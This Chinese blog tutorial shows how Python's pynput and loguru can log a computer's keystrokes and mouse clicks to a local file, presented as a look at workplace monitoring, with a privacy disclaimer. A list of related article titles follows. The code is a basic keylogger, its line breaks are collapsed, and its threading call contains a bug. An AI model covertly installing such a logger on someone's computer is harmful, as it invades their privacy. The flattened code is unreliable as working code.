大家好,我是菜鸟哥!

继打游戏、看视频等摸鱼行为被监控后,现在打工人离职的倾向也会被监控。最近有网友表示,所在企业安装了行为感知系统,该系统可以提前获知员工跳槽念头。

一时间,“打工人太难了”“毫无隐私可言”的讨论层出不穷。

有些小伙伴就问了:这种监控技术上可行吗?复杂吗?今天就带大家尝试用几行 Python 代码,监控电脑上的操作。

监控键盘

如果公司偷偷在我们的电脑上运行了一个后台进程,来监控我们的键盘事件,最简单的 python 写法大致是这样的:

from pynput import keyboarddef on_press(key):print(f'{key} :pushed')def on_release(key):if key == keyboard.Key.esc:return Falsewith keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:lsn.join()

随意敲击键盘,你就会从控制台看到这样的输出:

代码内容就是两个方法,一个是监听按键事件,另一个是监听退出事件——敲击 ESC 按键后释放就退出了。

监控鼠标

如果还要监听鼠标事件,那么上这段代码就行了:

from pynput import mousedef on_click(x, y, button, pressed):if button == mouse.Button.left:print('left was pressed!')elif button == mouse.Button.right:print('right was pressed!')return Falseelse:print('mid was pressed!')# 定义鼠标监听线程
with mouse.Listener(on_click=on_click) as listener:listener.join()

这段代码主要是监听鼠标的左右键点击操作,运行之后操作鼠标,就可以看到控制台打印如下结果:

细心的你一定会发现,每次点击事件,都打印了两次。这是因为按下和松开都会触发鼠标事件。

记录监控日志

键盘事件和鼠标事件都有了,是时候将二者结合起来,把用户的操作记录到日志了。这里我们用 loguru 这个模块来记录日志。

整个代码如下:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread# 定义日志文件
logger.add('moyu.log')def on_press(key):logger.debug(f'{key} :pushed')def on_release(key):if key == keyboard.Key.esc:return False# 定义键盘监听线程
def press_thread():with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:lsn.join()def on_click(x, y, button, pressed):if button == mouse.Button.left:logger.debug('left was pressed!')elif button == mouse.Button.right:logger.debug('right was pressed!')else:return False# 定义鼠标监听线程
def click_thread():with mouse.Listener(on_click=on_click) as listener:listener.join()if __name__ == '__main__':# 起两个线程分别监控键盘和鼠标t1 = Thread(target=press_thread())t2 = Thread(target=click_thread())t1.start()t2.start()

运行之后,你就可以在同级目录下的日志文件中,看到这样的内容了:

总结

本文主要通过 pynput 这个 python 模块,演示怎么记录键盘和鼠标的操作。这几行简单的代码对于简单的输入监控是可行的,但是对于聊天记录之类的复杂语句,你还需要针对日志用 NLTK 语言处理,才能复原你的聊天记录。

当然,我们这里仅仅是从技术上讨论可行性,各位切莫做有损别人隐私的事情。再说了,仅凭这个代码,别人一眼就会发现有程序在记录操作……

获取文中相关代码,请在公众号回复关键字:小助手,找他领取

推荐阅读:
入门: 最全的零基础学Python的问题  | 零基础学了8个月的Python  | 实战项目 |学Python就是这条捷径
干货:爬取豆瓣短评,电影《后来的我们》 | 38年NBA最佳球员分析 |   从万众期待到口碑扑街!唐探3令人失望  | 笑看新倚天屠龙记 | 灯谜答题王 |用Python做个海量小姐姐素描图 |碟中谍这么火,我用机器学习做个迷你推荐系统电影
趣味:弹球游戏  | 九宫格  | 漂亮的花 | 两百行Python《天天酷跑》游戏!
AI: 会做诗的机器人 | 给图片上色 | 预测收入 | 碟中谍这么火,我用机器学习做个迷你推荐系统电影
小工具: Pdf转Word,轻松搞定表格和水印! | 一键把html网页保存为pdf!|  再见PDF提取收费! | 用90行代码打造最强PDF转换器,word、PPT、excel、markdown、html一键转换 | 制作一款钉钉低价机票提示器! |60行代码做了一个语音壁纸切换器天天看小姐姐!|

年度爆款文案

  • 1).卧槽!Pdf转Word用Python轻松搞定!

  • 2).学Python真香!我用100行代码做了个网站,帮人PS旅行图片,赚个鸡腿吃

  • 3).首播过亿,火爆全网,我分析了《乘风破浪的姐姐》,发现了这些秘密

  • 4).80行代码!用Python做一个哆来A梦分身

  • 5).你必须掌握的20个python代码,短小精悍,用处无穷

  • 6).30个Python奇淫技巧集

  • 7).我总结的80页《菜鸟学Python精选干货.pdf》,都是干货

  • 8).再见Python!我要学Go了!2500字深度分析!

  • 9).发现一个舔狗福利!这个Python爬虫神器太爽了,自动下载妹子图片

点阅读原文,看B站22个原创视频!

用 Python 写一个电脑监控程序相关推荐

  1. 【Python】三个步骤,写一个电脑监控程序

    很多小伙伴说自己的公司在监控自己有没有摸鱼.偷懒.有时候想偷偷懒都会被发现,今天就带大家来解开这神秘的面纱.搞懂了这个,估计你就知道怎么去摸鱼了. 监控键盘 如果公司偷偷在我们的电脑上运行了一个后台进 ...

  2. python写游戏脚本-使用Python写一个小游戏

    引言 最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规的项目开发流程,手把手教大家写个python小游戏,来感受下 ...

  3. python编程小游戏-使用Python写一个小游戏

    引言 最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规的项目开发流程,手把手教大家写个python小游戏,来感受下 ...

  4. python socket能做什么_用python写一个聊天小程序!和女朋友的专属聊天工具!

    原标题:用python写一个聊天小程序!和女朋友的专属聊天工具! 1.UDP简介 Internet协议集支持一个无连接的传输协议,该协议称为用户数据报协议(UDP).UDP为应用程序提供了无需建立就可 ...

  5. python编写木马攻击_用Python写一个自动木马程序

    电脑作为大家日常办公的工具,最怕的一件事情之一就是被偷,当我们的电脑被盗的时候,不仅仅是电脑本身,更重要的是电脑存储的资料都会丢失.如何尽快的找回电脑需要我们想点办法,今天就教大家一个好的技巧,虽说不 ...

  6. 使用python制作聊天框解谜游戏_使用Python写一个小游戏alien invasion!

    最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规的项目开发流程,手把手教大家写个python小游戏,来感受下其中的 ...

  7. python制作u盘病毒_十行代码--用Python写一个USB病毒!

    大家好,我又回来了. 昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun ...

  8. 用python写一个简单的web服务器

    人生苦短,我用python 简洁高效,这才是理想的语言啊 分享一点python的学习经验-----如何用python写一个简单的web服务器 首先,我们需要简单地了解一下网络通信协议,这里用白话介绍一 ...

  9. 用python写聊天机器人_用Python 写一个机器人陪你聊天(文尾有彩蛋)

    工作一忙,原来秉烛夜谈的好友现在都很少聊天,微信都成了微信群的天下,鲜有微信好友给你发消息,想要主动发却也找不到开题话题,怎么办?用Python写一个机器人陪自己聊聊天吧.以下是源码及解析,小白都看得 ...

最新文章

  1. 这是一篇工程师对产品经理的吐槽
  2. 数字电路技术基础一二章
  3. 仅靠一种普通的泡沫橡胶,这台机器人解决了“爬楼梯”的难题
  4. mysql 语句_如何记录MySQL执行过的SQL语句
  5. [深度学习] 自然语言处理---Transformer原理(一)
  6. SQL Server 2008 R2 安装时提示“Reporting Services目录数据库文件存在”
  7. 串行口方式二 波特率_一文就能看懂“串口通讯”的概念、3个通讯方式、9大注意事项...
  8. liunx php的项目地址,在 Linux 配置 PHP 项目
  9. Python正则表达式子模式扩展语法与应用
  10. SAP License:CO第一夜-成本要素会计
  11. IoT 爆发前夕,企业架构要面对哪些变革
  12. FLEX APIs、Libs、Components
  13. 【AlphaGo之后会是什么】一文读懂人工智能打德扑
  14. java插件已崩溃怎么处理_java.lang.IllegalArgumentException:插件已初始化
  15. jdbc 生成建表语句_记录一次TDH的inceptor导出建表语句和数据
  16. 你们要的Android计算器,今天它来了~
  17. CefSharp 中过滤图片 RequestHandler
  18. python中返回上一步操作的快捷键_在计算机中返回上一步的快捷键
  19. 内网渗透篇-信息收集
  20. 私人定制——使用深度学习Keras和TensorFlow打造一款音乐推荐系统

热门文章

  1. 如何在Mac上快速签署PDF,来看这篇超全面分析!
  2. python json.loads_python json dumps loads
  3. Android8.1MTK平台链接蓝牙耳机通话,默认使用蓝牙耳机进行通话
  4. jQuery点击事件的叠加问题
  5. Microsoft word不断崩溃重启又崩溃的解决办法
  6. 怎样选择性价比高的主机服务器?
  7. Collabora Office for Mac(企业级办公套件)
  8. 百乐嘉利宝在深圳设立新办事处及巧克力学院;药明巨诺在港交所主板上市 | 美通企业日报...
  9. OpenCV-Python图像位与运算bitwise_and函数详解
  10. java计算机毕业设计的实验填报管理系统-源程序+mysql+系统+lw文档+远程调试